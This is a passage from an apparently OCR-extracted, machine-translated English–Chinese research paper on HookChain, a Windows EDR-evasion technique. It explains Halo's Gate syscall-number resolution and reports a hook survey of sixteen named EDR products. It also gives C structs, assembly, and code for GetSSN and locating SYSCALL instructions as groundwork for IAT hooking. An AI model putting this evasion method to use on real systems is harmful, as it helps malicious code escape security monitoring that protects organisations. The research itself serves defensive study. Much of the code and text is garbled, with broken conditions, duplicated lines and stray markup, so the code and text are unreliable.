  3. Stores (in an array) the relative virtual address (RVA) and the name of the functions enumerated in the previous step. In the implementation of this algorithm, the author uses an EDR evasion technique that consists of, instead of saving and using the function name as a comparison key, a hash calculated by a proprietary algorithm through arithmetic operations with the ROR is used.
    在数组中存储相对虚拟地址(RVA)和上一步枚举的函数名称。在该算法的实现过程中,作者使用了一种 EDR 规避技术,即不保存和使用函数名称作为比较密钥,而是使用一种专有算法通过对 ROR 进行算术运算计算出的哈希值。
  4. Sorts the array by the functions' addresses.
    按函数地址对数组排序。
  5. Defines the SSN as the indexer of the array.
    将 SSN 定义为数组的索引器。
This technique is simple and effective because the code of the functions is in a single block of sequential code as can be seen in the Figure 11 .
如图 11 所示,这种技术简单有效,因为 函数的代码是单块顺序代码。

Figure 11: Ntdll.dll Zw/Nt functions in memory and their respective SSNs
图 11:内存中的 Ntdll.dll Zw/Nt 函数及其各自的 SSN

2.4.5. Dynamic Resolution of SSN - Halo's Gate
2.4.5.SSN 的动态分辨率 - 光环之门

Other techniques of dynamic resolution have been published over the last few years such as the Hell's gate [10] published in June 2020 and the Halo's gate published in April 2021 [11] by ReenzOh from Sektor7.
在过去几年中,还发布了其他动态解析技术,如 Sektor7 的 ReenzOh 于 2020 年 6 月发布的地狱之门 [10] 和 2021 年 4 月发布的光环之门 [11]。
The Halo's gate , in general, performs the following flow:
一般来说,光环门执行以下流程:
  1. Locates the current address of the desired function within the Ntdll.dII.
    查找 Ntdll.dII 中所需功能的当前地址。
  2. Performs the reading of the function's bytes (currently 32 bytes) and checks if the function's bytes match those of the assembly instructions (mov r10, rcx; mov eax, SSN).
    读取函数字节(当前为 32 字节),并检查函数字节是否与汇编指令(mov r10, rcx; mov eax, SSN)一致。
  3. If these are not the bytes, the function is being monitored (in other words, it has a Hook set), however, the neighboring functions (before and after) may not have a Hook.
    如果不是这些字节,则表示该函数正在被监控(换句话说,它已设置了挂钩),但相邻函数(之前和之后)可能没有挂钩。
  4. Searches in the neighboring functions (above and below) for functions without a Hook, and calculates the distance of the located function from the current function, thus having the current function's SSN code.
    在相邻函数(上层和下层)中搜索没有挂钩的函数,并计算所定位函数与当前函数的距离,从而获得当前函数的 SSN 代码。

Figure 12: Ntdll.dll Zw/Nt functions in memory and their respective SSNs
图 12:内存中的 Ntdll.dll Zw/Nt 函数及其各自的 SSN
Figure 12 clearly demonstrates a hook in the NtWriteFile function, through the presence of the JMP instruction instead of mov r10, rcx. However, the neighboring functions ZwDeviceIoControlFile and ZwRemoveIoCompletion are not hooked and their SSNs are 7 and 9, respectively. Therefore, it can be inferred that the SSN of the NtWriteFile function is 8 .
图 12 通过使用 JMP 指令而不是 mov r10, rcx,清楚地显示了 NtWriteFile 函数中的钩子。然而,相邻的函数 ZwDeviceIoControlFile 和 ZwRemoveIoCompletion 并没有挂钩,它们的 SSN 分别为 7 和 9。因此,可以推断 NtWriteFile 函数的 SSN 为 8。
Figure 13 displays a snippet of the code used by Halo's gate.
图 13 显示了光环门使用的代码片段。
// check neighboring syscall down
if (*((PBYTE)pFunctionAddress + idx * DOWN) == 0x4c
    && *((PBYTE) pFunctionAddress + 1 + idx * DOWN) == 0x8b
    && *((PBYTE)pFunctionAddress + 2 + idx * DOWN) == 0xdl
    && *((PBYTE) pFunctionAddress + 3 + idx * DOWN) == 0xb8
    && *((PBYTE)pFunctionAddress + 6 + idx * DOWN) == 0x00
    && *((PBYTE) pFunctionAddress + 7 + idx * DOWN) == 0x00) {
    BYTE high = *((PBYTE)pFunctionAddress + 5 + idx * DOWN);
    BYTE low = *((PBYTE)pFunctionAddress + 4 + idx * DOWN);
    pVxTableEntry->wSystemCall = (high << 8) | low - idx;
    return TRUE;
}
Figure 13: Code snippet from Halo's gate comparison.
图 13:Halo 栅极比较的代码片段。
As defined by the technique's own author, Halo's gate is 'like a wave in a lake - you start from the center and move towards the edges until you find a clean syscall' [11]. In other words, Halo's calculates the SSN number by looking at the neighbors' numbers and adjusting accordingly. If the neighbors are also Hooked, it checks the neighbors of its neighbors and so on.
正如该技术的作者所定义的那样,Halo's 门 "就像湖中的波浪--从中心开始向边缘移动,直到找到干净的系统调用"[11]。换句话说,"光环 "通过查看邻居的号码来计算 SSN 号码,并做出相应调整。如果邻居也是 Hooked,它就会检查邻居的邻居,以此类推。
For more details and proof of concept of Halo's gate implementation, refer to the implementation developed by Caio Joca [12].
有关 Halo 栅极实现的更多细节和概念验证,请参阅 Caio Joca [12] 开发的实现。

3. PRELIMINARY ANALYSIS 3.初步分析

3.1. Objective of the analysis
3.1.分析目标

This analysis focuses on conducting a preliminary feasibility, effectiveness, and scope verification of the HookChain technique. An enumeration was carried out with various EDR solutions in the market as detailed below.
本分析的重点是对 HookChain 技术的可行性、有效性和范围进行初步验证。对市场上的各种电子数据记录仪解决方案进行了列举,详情如下。

3.2. Testing Methodology and Limitations
3.2.测试方法和局限性

For this enumeration to be linear and reliable across all platforms, the following premises were adopted:
为了在所有平台上实现线性和可靠的枚举,我们采用了以下前提:
  • Use of a unique and identical code for all tests.
    对所有测试使用唯一且相同的代码。
  • Application developed in C and compiled using GCC in a 64-bit Windows environment.
    在 64 位 Windows 环境中使用 C 语言开发并使用 GCC 编译的应用程序。
  • No changes and/or recompilations during the enumeration process. Providing exactly the same PE (EXE) for execution in all tested environments. All executed the same EXE, thus having the same behavior and hash for all solutions.
    在枚举过程中不做任何更改和/或重新编译。提供完全相同的 PE(EXE)供所有测试环境执行。所有解决方案都执行相同的 EXE,因此具有相同的行为和哈希值。
  • Application developed without any bypass or evasion action of the solutions.
    开发的应用程序不存在任何绕过或逃避解决方案的行为。
  • Execution of the application on any version of Windows with a nonprivileged user, that is, without local administrator permission.
    在任何版本的 Windows 系统上以非特权用户(即没有本地管理员权限)执行应用程序。
Note: As it is not about an offensive code and aiming to obtain information from a larger number of products, the executable used for this enumeration was made available for some friends to run it in their environments and send me the results. Therefore, I did not have access to the environments as well as the configurations applied in each environment.
注:由于不是针对攻击性代码,而且目的是从更多的产品中获取信息,因此这次枚举所使用的可执行文件是提供给一些朋友在他们的环境中运行并将结果发送给我的。因此,我无法访问这些环境以及应用于每个环境的配置。

3.3. Analyzed Points 3.3.分析点

The artifact (executable) developed for this analysis performs the verification of the existence of hooks in 2 distinct points of the application: 1 - functions of NtdII.dIl; 2 - IAT Hook.
为本次分析开发的工件(可执行文件)对应用程序的 2 个不同点是否存在钩子进行了验证:1 - NtdII.dIl 的功能;2 - IAT 挂钩。

3.3.1. NtdII Hook 3.3.1.NtdII 挂钩

For the validation of the existence of Hooks in the functions of NtdII, the following steps were taken:
为了验证 NtdII 功能中是否存在钩子,我们采取了以下步骤:
  1. Listed all functions whose names start with Zw or Nt;
    列出了所有名称以 Zw 或 Nt 开头的函数;
  2. Checked for the presence of the JMP instruction in the function code;
    检查功能代码中是否存在 JMP 指令;

3.3.2. IAT Hook 3.3.2.IAT 钩

For the verification of the presence of Hooks in the IAT of the DLLs loaded in the process, the following steps were carried out:
为了验证进程中加载的 DLL 的 IAT 中是否存在钩子,我们采取了以下步骤:
  1. Listed all the DLLs loaded in the process;
    列出进程中加载的所有 DLL;
  2. Checked in the IAT of all loaded DLLs for the import reference of the Ntdll.dll, as well as the use of functions whose names start with Zw or Nt;
    在所有加载的 DLL 的 IAT 中检查 Ntdll.dll 的导入引用,以及名称以 Zw 或 Nt 开头的函数的使用情况;
  3. Checked if the address present in the IAT is different from the actual address of the function in Ntdll.
    检查 IAT 中的地址是否与 Ntdll 中函数的实际地址不同。

3.4. Example of Results 3.4.结果示例

In the examples of the results of the commands below, several lines were suppressed to optimize the visualization in this document, having the presence of these texts here only for reference and example of the outcome.
在下面的命令结果示例中,为了优化本文档的可视化效果,有几行文字被压制,这些文字的存在仅供参考和结果示例。
The executable and code used in this phase of the study is available on the git of this research at commit 0b4a953 [13].
本阶段研究使用的可执行文件和代码可在本研究的 git 上查阅,提交位置为 0b4a953 [13]。

3.4.1. Without the presence of hooks
3.4.1.没有挂钩

[+] Listing ntdll Nt/Zw functions
Mapped 478 functions
[+] Listing loaded modules
C:\Users\M4v3r1ck\Desktop\hookchain_finder64.exe is loaded at 0x00007ff77bc30000.
C:\WINDOWS\SYSTEM32 tdll.dll is loaded at 0x00007ff8ee910000.
C:\WINDOWS\System32\KERNEL32.DLL is loaded at 0x00007ff8eca90000.
C:\WINDOWS\System32\KERNELBASE.dll is loaded at 0x00007ff8ec590000.
C:\WINDOWS\SYSTEM32\apphelp.dll is loaded at 0x00007ff8e9720000.
C:\WINDOWS\System32\msvcrt.dll is loaded at 0x00007ff8ee290000.
[+] Listing hooked modules
Checking ntdll.dll at KERNEL32.DLL IAT
+-- 0 hooked functions.
Checking ntdll.dll at KERNELBASE.dll IAT
+-- 0 hooked functions.
Checking ntdll.dll at msvcrt.dll IAT
+-- 0 hooked functions.

3.4.2. Hooks present only in NtdII.dII
3.4.2.仅存在于 NtdII.dII 中的钩子

NtAlpcSendWaitReceivePort is hooked
NtAlpcSendWaitReceivePort 已挂钩

NtClose is hooked NtClose 已上钩
NtCommitTransaction is hooked
NtCommitTransaction 已挂钩

NtCreateMutant is hooked NtCreateMutant 已上钩
NtCreateProcess is hooked
NtCreateProcess 已挂钩

NtCreateProcessEx is hooked
NtCreateProcessEx 已挂钩

NtCreateSection is hooked
NtCreateSection 已上钩

NtCreateSectionEx is hooked
NtCreateSectionEx 已挂钩

NtCreateThread is hooked NtCreateThread 已上钩
・. . ・..
NtUnmapViewOfSection is hooked
NtUnmapViewOfSection 已挂钩

NtWriteFile is hooked NtWriteFile 已上钩
NtWriteVirtualMemory is hooked
NtWriteVirtualMemory 已上钩

Mapped 478 functions 映射 478 项功能
[+] Listing loaded modules
[+] 列出已加载的模块
C: \Users \M4v3r1ck\Desktop \hookchain_finder64.exe is loaded at 0x00007ff736e80000.
C:\Users \M4v3r1ck\Desktop \hookchain_finder64.exe is loaded at 0x00007ff736e80000.

C:\WINDOWS \SYSTEM32 tdll.dll is loaded at 0x00007ff8657d0000.
C:\WINDOWS \SYSTEM32 tdll.dll 已加载到 0x00007ff8657d0000。

C: \WINDOWS \System32\KERNEL32.DLL is loaded at 0x00007ff865590000.
C:\在 0x00007ff865590000 加载了 WINDOWS (System32)和 KERNEL32.DLL。

C: \WINDOWS \System32\KERNELBASE. dll is loaded at 0x00007ff8632e0000.
C:\dll 在 0x00007ff8632e0000 加载。

C:\WINDOWS SSYSTEM32\apphelp.dll is loaded at 0x00007ff8606c0000.
C:\WINDOWS SSYSTEM32\apphelp.dll 的加载位置为 0x00007ff8606c0000。

C:\WINDOWS \System32\msvcrt. dll is loaded at 0x00007ff864ae0000.
C:\WINDOWS \System32\msvcrt. dll 的加载位置为 0x00007ff864ae0000。

[+] Listing hooked modules
[+] 列出挂钩模块
Checking ntdll.dll at KERNEL32. DLL IAT
检查 KERNEL32.DLL 中的 ntdll.dllDLL IAT

+--0 hooked functions. +--0 挂钩功能。
Checking ntdll.dll at KERNELBASE.dll IAT
在 KERNELBASE.dll IAT 检查 ntdll.dll

+-- 0 hooked functions. +-- 0 个挂钩功能。
Checking ntdll.dll at bdhkm64.dll IAT
在 bdhkm64.dll IAT 检查 ntdll.dll

+-- 0 hooked functions. +-- 0 个挂钩功能。
Checking ntdll.dll at atcuf64.dll IAT
在 atcuf64.dll IAT 检查 ntdll.dll

+-- 0 hooked functions. +-- 0 个挂钩功能。
Checking ntdll.dll at apphelp.dll IAT
在 apphelp.dll IAT 检查 ntdll.dll

+-- 0 hooked functions. +-- 0 个挂钩功能。
Checking ntdll.dll at msvcrt.dll IAT
在 msvcrt.dll IAT 检查 ntdll.dll

+--0 hooked functions. +--0 挂钩功能。

3.4.3. Presence of hooks in the IAT
3.4.3.IAT 中是否存在挂钩

[+] Listing ntdll Nt/Zw functions
NtCreateThreadEx is hooked
NtCreateUserProcess is hooked
NtDuplicateObject is hooked
NtFreeVirtualMemory is hooked
NtLoadDriver is hooked
NtMapUserPhysicalPages is hooked
NtMapViewOfSection is hooked
NtOpenProcess is hooked
NtQuerySystemInformation is hooked
NtQuerySystemInformationEx is hooked
NtQuerySystemTime is hooked
NtQueueApcThread is hooked
NtQueueApcThreadEx is hooked
NtQueueApcThreadEx2 is hooked

3.5. Result 3.5.结果

Given that the HookChain technique is executed in user mode (ring 3) and focuses on evasion at this same privilege level, no checks regarding the existence of validations, hooks, and agents in Kernel mode (ring 0 ) were conducted. Therefore, the absence of hooks in ring 3 does not directly imply that HookChain will be capable of complete evasion of the EDR since the telemetries and monitoring in ring 0 will remain active.
鉴于 HookChain 技术是在用户模式(环 3)下执行 并侧重于在相同权限级别上进行规避,因此没有对内核模式(环 0)中是否存在验证、钩子和代理进行检查。因此,环 3 中不存在钩子并不直接意味着 HookChain 能够完全规避 EDR,因为环 0 中的遥测和监控仍处于活动状态。
The table below presents the results of the enumeration carried out between March 1st and March 22nd, 2024.
下表列出了 2024 年 3 月 1 日至 3 月 22 日期间的普查结果。

PRODUCT 产品

INTERCEPTION POINT (HOOK)
拦截点

BitDefender 比特梵德 P
CarbonBlack 碳黑色 P
Checkpoint 检查点 O
Cortex 皮质 P P
CrowdStrike Falcon P
Windows Defender O O
Windows Defender + ATP O O
Elastic 弹性 O O
ESET P P
Kaspersky 卡巴斯基 O P
MalwareBytes P P
SentinelOne
Sophos O
Symantec 赛门铁克 O O
Trellix P
Trend 趋势 O

结果 1:94% 的受分析电子数据记录仪解决方案(16 个中的 15 个)不支持电子数据记录仪 只有一个 EDR 解决方案在 IAT 中显示了挂钩。
Result 1: 94% of the analyzed EDR solutions (15 out of 16) do not
present hooks in the subsystem layer above Ntdll.dll, meaning, in the
verification of all DLLs loaded in the application that reference Ntdll,
only one EDR solution showed a hook in the IAT.
Result 2: of the analyzed EDR solutions ( 8 out of 16 ) show an absence of hooks in user mode.
结果 2: 经分析的 EDR 解决方案(16 个中的 8 个)显示在用户模式下没有钩子。
Note: During the final tests, the presence of hooks in the subsystem DLLs (kernek32 and kernelbase) was observed, but within the code of critical functions, such as CreateProcess, and not using IAT hooks. For the purpose of this study, these cases were not considered in the above results.
注:在最终测试中,观察到子系统 DLL(kernek32 和 kernelbase)中存在钩子,但都是在关键函数(如 CreateProcess)的代码中,而且没有使用 IAT 钩子。出于本研究的目的,上述结果未考虑这些情况。

4. HOOKCHAIN 4.钩链

4.1. Overview 4.1.概述

Let's start this session by presenting an overview and simplified view of the technique focus of this article, named HookChain. Subsequently, we will begin the technical detailing of HookChain with the presentation of the data structures and tables used in item 4.2 , continuing with the methodology used for filling these tables in 4.3 . Following, we detail the Hook process of the IAT in item 4.4 , and finally in 4.5 , we will demonstrate the functional tests and the transparency of the presence of the HookChain implant in the Call Stack.
首先,让我们对本文的重点技术--HookChain--进行概述和简化。随后,我们将在第 4.2 项中介绍 HookChain 所使用的数据结构和表格,并在第 4.3 项中介绍填充这些表格所使用的方法。随后,我们将在第 4.4 项中详细介绍 IAT 的挂钩过程,最后在第 4.5 项中演示功能测试以及 HookChain 植入调用堆栈的透明度。
Generally, the HookChain technique is based on the following flow:
一般来说,HookChain 技术基于以下流程:
  1. Use of one of the dynamic mapping techniques of the SSN presented previously, such as Halo's gate.
    使用前面介绍过的 SSN 动态映射技术之一,例如光环门。
  2. Mapping of some base functions for use in the actions of the next steps, such as:
    绘制一些基本功能图,以便在下一步行动中使用,例如

    a. NtAllocateReserveObject
    a.NtAllocateReserveObject

    b. NtAllocateVirtualMemory
    b.NtAllocateVirtualMemory

    c. NtQueryInformationProcess
    c.NtQueryInformationProcess

    d. NtProtectVirtualMemory
    d.NtProtectVirtualMemory

    e. NtReadVirtualMemory e.NtReadVirtualMemory
    f. NtWriteVirtualMemory f.NtWriteVirtualMemory
  3. Creation and filling of an array where each item contains the following content:
    创建并填充一个数组,其中每个项目都包含以下内容:

    a. SSN (Syscall Number) a.SSN(系统呼叫号码)
    b. Function address in NtdII.dII
    b.NtdII.dII 中的函数地址

    c. Memory address of the nearest SYSCALL instruction to the function in Ntdll.dII.
    c.Ntdll.dII 中与函数最近的 SYSCALL 指令的内存地址。
  4. Preloads other DLLs, if it is known that the application in execution will dynamically load and use another DLL that has not yet been loaded in the current process, as well as verifying that this DLL to be loaded makes calls to functions of the NtdII.dII.
    如果已知正在执行的应用程序将动态加载和使用当前进程中尚未加载的另一个 DLL,并验证要加载的 DLL 是否调用了 NtdII.dII 的函数,则预加载其他 DLL。
  5. Use of the indirect syscall (Indirect Syscall) with the functions mapped in item 2 to perform reading, enumeration, and handling of the structures of the export and import tables of all loaded DLLs.
    使用间接系统调用(Indirect Syscall)和第 2 项中映射的函数来读取、枚举和处理所有已加载 DLL 的导出表和导入表结构。
  6. Modification of the IAT of key DLLs that use calls to Ntdll.dll such as kernel32, kernelbase, bcrypt, bcryptPrimitives, gdi32, mswsock, netutils, and urlmon. This action aims to change the destination
    修改调用 Ntdll.dll 的关键 DLL 的 IAT,如 kernel32、kernelbase、bcrypt、bcryptPrimitives、gdi32、mswsock、netutils 和 urlmon。此操作旨在更改目标

    address of the native calls in the IAT to internal functions of our application. In this way, when a subsystem DLL, such as kernel32, calls a function from NtdII.dII, the code from the HookChain implant will actually be executed. Thus, materializing the IAT Hook as previously seen in item 2.3.2 of this article.
    在 IAT 中调用我们应用程序内部函数的本地 地址。这样,当子系统 DLL(如 kernel32)调用 NtdII.dII 中的函数时,HookChain 植入的代码将被实际执行。这样,就实现了本文第 2.3.2 项所述的 IAT 挂钩。
After these actions are taken, the use of APIs and subsystems continues in a conventional manner, as the layer for flow diversion and evasion has already been implemented, requiring no further action. Thus, the executions of the NtdII.dll calls will be carried out through the internal functions of our application, but in a transparent manner for the executing PE, as it will continue to use the subsystem APIs as demonstrated in Figure 14.
执行这些操作后,应用程序接口和子系统的使用将以常规方式继续进行,因为流量分流和规避层已经实现,不需要进一步的操作。因此,NtdII.dll 调用的执行将通过我们应用程序的内部功能进行,但对执行的 PE 来说是透明的,因为它将继续使用子系统 API,如图 14 所示。

Figure 14: HookChain workflow
图 14:HookChain 工作流程

This methodology has the ability to evade all user-mode hooks performed on Ntdll.dIl because all execution control is within the application itself. Having the following advantages over the other techniques presented here:
由于所有执行控制都在应用程序本身内部,因此这种方法能够规避在 Ntdll.dIl 上执行的所有用户模式钩子。与本文介绍的其他技术相比,它具有以下优势:
  • Reduction in the probability of identification by the EDR due to following the rules proposed by some telemetries such as:
    由于遵循某些遥测设备提出的规则,降低了电子数据记录仪的识别概率,如
  • Total execution time of the process, as the execution time of the calls will remain very close to the original process.
    进程的总执行时间,因为调用的执行时间与原始进程非常接近。
  • Execution chain, where the EDR expects the function call to have come from the application, then passed through Kernel32.dII, then through NtdII.dII. This is due to the fact that the HookChain implant (interception function) passes transparently in the call stack (as we will see in more detail later).
    在执行链中,EDR 预计函数调用来自应用程序,然后通过 Kernel32.dII,再通过 NtdII.dII。这是由于 HookChain 植入(拦截功能)在调用栈中透明传递(稍后我们将详细介绍)。
  • Portability 便携性
  • No effort and/or modification necessary for the execution of preexisting codes/applications as the interception occurs broadly and transparently for the application in execution.
    执行现有代码/应用程序时无需进行任何努力和/或修改,因为截获对于执行中的应用程序来说是广泛而透明的。

4.2. Data structures and tables
4.2.数据结构和表格

4.2.1. Struct SYSCALL_INFO
4.2.1.结构 SYSCALL_INFO

As previously seen, one of the first steps is the creation of an array with the record of various information that will be used during the execution, thus this array uses as an item a structure called SYSCALL_INFO as follows:
如前所述,第一步是创建一个数组,记录执行过程中会用到的各种信息,因此该数组使用名为 SYSCALL_INFO 的结构作为项目,如下所示:
typedef struct _SYSCALL_INFO {
    DWORD64 dwSsn;
    PVOID pAddress;
    PVOID pSyscallRet;
    PVOID pStubFunction;
    DWORD64 dwHash;
    SYSCALL_INFO, * PSYSCALL_INFO;
Where: 在哪里?
  • dwSsn: Storage field for the Syscall number (SSN).
    dwSsn:系统调用号(SSN)存储字段。
  • pAddress: Storage field for the virtual address (Virtual Address) of the function within NtdII.
    pAddress:存储字段,用于存储 NtdII 中函数的虚拟地址(Virtual Address)。
  • pSyscallRet: Storage field for the virtual address of a SYSCALL instruction within NtdII.
    pSyscallRet:NtdII 中 SYSCALL 指令虚拟地址的存储字段。
  • pStubFunction: Storage field for the address of the HookChain interception (implant) function, this is the address to which all calls to the function in question will be directed. In other words, this is the address that will be assigned in the IAT in replacement of the virtual address of the Ntdll function.
    pStubFunction:HookChain 拦截(植入)函数地址的存储字段,所有对该函数的调用都将指向该地址。换句话说,这是 IAT 中分配的地址,用于替代 Ntdll 函数的虚拟地址。
  • dwHash: Function identification hash. This hash is calculated through the name of the ntdll function. The function name is not stored and used to make identification by EDRs more difficult.
    dwHash:函数标识哈希值。该散列值通过 ntdll 函数的名称计算得出。函数名称不会被存储,用来增加 EDR 识别的难度。

4.2.2. Struct SYSCALL_LIST
4.2.2.结构 SYSCALL_LIST

The SYSCALL_LIST structure, as seen below, holds a field that stores the number of current records in the table, and subsequently holds an array with 512 positions with records of the SYSCALL_INFO type.
如下所示,SYSCALL_LIST 结构包含一个字段,用于存储表中的当前记录数,随后是一个包含 512 个 SYSCALL_INFO 类型记录的数组。
#define MAX_ENTRIES 512
typedef struct _SYSCALL_LIST
    DWORD64 Count;
    SYSCALL_INFO Entries[MAX_ENTRIES];
} SYSCALL_LIST, * PSYSCALL_LIST;

4.2.3. References and indexes
4.2.3.参考文献和索引

The next data structure is actually a pointer to the .data section of our application defined in Assembly as below:
下一个数据结构实际上是一个指向应用程序 .data 部分的指针,该部分用 Assembly 定义,如下所示:
.data
qTableAddr QWORD Oh
qListEntrySize QWORD 28h
qStubEntrySize QWORD 14h
```qIdx0 QWORD OhqIdx1 QWORD OhqIdx2 QWORD OhqIdx3 QWORD OhqIdx 4 QWORD \(0 h\)qIdx5 QWORD Oh
Where:
- qTableAddr : Variable where the virtual address of the SYSCALL_LIST table/struct instance is stored .
- qListEntrySize : Variable that contains the size (in bytes) of each entry in the SYSCALL_LIST-> Entries.
- qStubEntrySize: Variable that contains the size (in bytes) of each interception function used by HookChain. Further details on these functions and their usage methodology will be provided later in this article.
- qIdx0 - qIdx5: Variables where the positions in the array of the necessary native function information for the initial processes and manipulations will be stored. These variables, whose names end with the values from 0 to 5, store the index of the following functions 0 ZwOpenProcess, 1 - ZwProtectVirtualMemory, 2 ZwReadVirtualMemory, 3 - ZwWriteVirtualMemory, 4 ZwAllocateVirtualMemory, 5 - ZwDelayExecution.

\subsection*{4.3. Filling the Data Tables}

The SYSCALL_LIST data structure, in our code, was defined in a static variable named SyscallList as follows:


static SYSCALL_LIST SyscallList;
静态 SYSCALL_LIST 系统调用列表;

The filling of the array in the field SyscallList.Entries is carried out following the steps below:
1. Locates the base address of Ntdll.dll using the TEB (Thread

Environment Block) and PEB (Process Environment Block) tables.
2. Enumerates all functions with names starting with " Zw " or " \(\mathrm{Nt}^{2}\) ".
3. Checks if the function in question is one of the functions that will be used unconditionally through the Indirect Syscall. If so, adds a new entry in the array SyscallList.Entries and saves in which position of the array this function is present in the variables qIdx0 - qIdx5. Here is the list of functions:
a. NtAllocateReserveObject
b. NtAllocateVirtualMemory
c. NtQueryInformationProcess
d. NtProtectVirtualMemory
e. NtReadVirtualMemory
f. NtWriteVirtualMemory
4. Checks if the function in question has a JMP present in its code, indicating the presence of a hook applied by the EDR. If so, adds a new entry in the array SyscallList.Entries.

Thus, at the end of this process, the array is filled with all \(\mathrm{Nt} / \mathrm{Zw}\) functions that present an EDR hook, as well as the 6 functions added unconditionally for future use as can be observed inFigure 15.

![](https://cdn.mathpix.com/cropped/2024_08_21_2bc849000e60b71ab241g-30.jpg?height=618&width=1306&top_left_y=1484&top_left_x=381)
Figure 15: Values of the SyscallList.Entries array

0:004> uf ntdll!NtCreateUserProcess
ntdll!NtCreateUserProcess:
ntdll!NtCreateUserProcess:

00007ffeb258e8e0 4c8bd1 mov r10,rcx 00007ffeb258e8e3 b8c9000000 mov eax,0C9h
00007ffeb258e8e8 f604250803fe7f01 test byte ptr [SharedUserData+0x308 (000000007ffe0308)],1
00007ffeb258e8f0 7503 jne ntdll!NtCreateUserProcess+0x15 (00007ffeb258e8f5)
Branch 分支机构
ntdll!NtCreateUserProcess+0x12:
ntdll!NtCreateUserProcess+0x12:

00007ffeb258e8f2 0f05 00007ffeb258e8f4 c3
ret 重新

As can be seen in the image and the command result in Windbg above, the HookChain algorithm was able to obtain the SSN of the NtCreateUserProcess function (decimal 201, hexadecimal 0x00C9), as well as calculate the address of the next SYSCALL instruction (00007ffe`b258e8f2).

In steps 3 and 4, the SSN is obtained through the checking algorithm used in the Halo's Gate technique. It is implemented as shown in the code snippet below:

static DWORD64 GetSSN(In PVOID pAddress)
{
BYTE low, high; BYTE low, high;
/*
Handle non-hooked functions
处理非挂钩功能

mov r10, rcx 移动 r10、rcx
mov rax,  mov rax、
/
if ( 如果
((PBYTE) pAddress + 0) == 0x4c && *((PBYTE)pAddress + 1) == 0x8b && *((PBYTE)pAddress
((PBYTE)pAddress + 0) == 0x4c && *((PBYTE)pAddress + 1) == 0x8b && *((PBYTE)pAddress + 1) == 0x8b
    1. == 0xd1 &&
    • ((PBYTE) pAddress + 3) == 0xb8 && * ((PBYTE) pAddress + 6) == 0x00 && * ((PBYTE) pAddress
      (PBYTE) pAddress + 3) == 0xb8 && * (PBYTE) pAddress + 6) == 0x00 && * (PBYTE) pAddress
    1. == 0x00) {
      high = * ((PBYTE) pAddress + 5);
      high = * ((PBYTE) pAddress + 5);

      low = ((PBYTE) pAddress + 4);
      low = ((PBYTE) pAddress + 4);

      return (high << 8) | low;
      return (high << 8) | low;

      }
      // Derive SSN from neighbour syscalls
      // 从邻居系统调用中得出 SSN

      for (WORD idx = 1; idx <= MAX_NEIGHBOURS; idx++) {
      if ( 如果
      ((PBYTE) pAddress + 0 + idx * NEXT) == 0x4c && *((PBYTE)pAddress + 1 + idx *
      ((PBYTE)pAddress + 0 + idx * NEXT) == 0x4c && *((PBYTE)pAddress + 1 + idx * NEXT) == 0x4c && *((PBYTE)pAddress + 1 + idx * NEXT) == 0x4c

      NEXT) == 0x8b &&
    • ((PBYTE) pAddress + 2 + idx * NEXT) == 0xd1 && *((PBYTE)pAddress + 3 + idx *
      ((PBYTE)pAddress + 2 + idx * NEXT) == 0xd1 && *((PBYTE)pAddress + 3 + idx * NEXT) == 0xd1 && *((PBYTE)pAddress + 3 + idx * NEXT) == 0xd1

      NEXT) == 0xb8 &&
    • ((PBYTE) pAddress + 6 + idx * NEXT) == 0x00 && *((PBYTE)pAddress + 7 + idx *
      ((PBYTE)pAddress + 6 + idx * NEXT) == 0x00 && *((PBYTE)pAddress + 7 + idx * NEXT) == 0x00 && *((PBYTE)pAddress + 7 + idx * NEXT) == 0x00

      NEXT) == 0x00)
      high = *((PBYTE) pAddress + 5 + idx * NEXT);
      high = *((PBYTE) pAddress + 5 + idx * NEXT);

      low = ((PBYTE) pAddress + 4 + idx * NEXT);
      low = ((PBYTE) pAddress + 4 + idx * NEXT);

      return (high << 8) | low - idx;
      return (high << 8) | low - idx;

      }
      if ( 如果
      ((PBYTE) pAddress + 0 + idx * PREV) == 0x4c && *((PBYTE)pAddress + 1 + idx *
      ((PBYTE)pAddress + 0 + idx * PREV) == 0x4c && *((PBYTE)pAddress + 1 + idx * PREV) == 0x4c && *((PBYTE)pAddress + 1 + idx * PREV) == 0x4c

      PREV) == 0x8b &&
    • ((PBYTE) pAddress + 2 + idx * PREV) == 0xd1 && *((PBYTE)pAddress + 3 + idx *
      ((PBYTE)pAddress + 2 + idx * PREV) == 0xd1 && *((PBYTE)pAddress + 3 + idx * PREV) == 0xd1 && *((PBYTE)pAddress + 3 + idx * PREV) == 0xd1

      PREV) == 0xb8 &&
    • ((PBYTE) pAddress + 6 + idx * PREV) == 0x00 && *((PBYTE)pAddress + 7 + idx *
      ((PBYTE)pAddress + 6 + idx * PREV) == 0x00 && *((PBYTE)pAddress + 7 + idx * PREV) == 0x00 && *((PBYTE)pAddress + 7 + idx * PREV) == 0x00

      PREV) == 0x00) {
      high = *((PBYTE) pAddress + 5 + idx * PREV);
      high = *((PBYTE) pAddress + 5 + idx * PREV);

      low = *((PBYTE) pAddress + 4 + idx * PREV);
      low = *((PBYTE) pAddress + 4 + idx * PREV);

      return (high << 8) | low + idx;
      return (high << 8) | low + idx;

      }
      }
      return -1; 返回 -1;
      }

The address of the next SYSCALL instruction is obtained with the following code:

static PVOID GetNextSyscallInstruction(In PVOID pStartAddr) {
for (DWORD i = 0, j = 1; i <= 512; i++, j++) {
if (*((PBYTE)pStartAddr + i) == 0x0f && *((PBYTE)pStartAddr + j) == 0x05) {
如果 (*((PBYTE)pStartAddr + i) == 0x0f && *((PBYTE)pStartAddr + j) == 0x05) {

return (PVOID)((ULONG_PTR)pStartAddr + i);
返回 (PVOID)((ULONG_PTR)pStartAddr + i);

}
return NULL; 返回 NULL;

Where the function's address in Ntdll is passed as a parameter, which for the example below would be 0x00007ffeb258d0d0, and the GetNextSyscallInstruction function will start the search at this address until it locates the sequence 0x0f05 that represents the SYSCALL instruction.

0:004> u ntdll!NtWriteFile
ntdll!NtWriteFile: ntdll!NtWriteFile:
00007ffeb258d0d0 4c8bd1 mov r10,rcx 00007ffeb258d0d3 b808000000 mov eax,8
00007ffeb258d0d8 f604250803fe7f01 test byte ptr [SharedUserData+0x308 (000000007ffe0308) ],1
00007ffeb258d0e0 7503 00007ffeb258d0e2 0f05
00007ffeb258d0e4 c3 00007ffeb258d0e5 cd2e
syscall 系统调用
ret 重新
int 2Fh
00007ffeb258d0e7 c3 ntdll!NtWriteFile+0x15 (00007ffeb258d0e5)
cet 

\subsection*{4.4. IAT Hook}

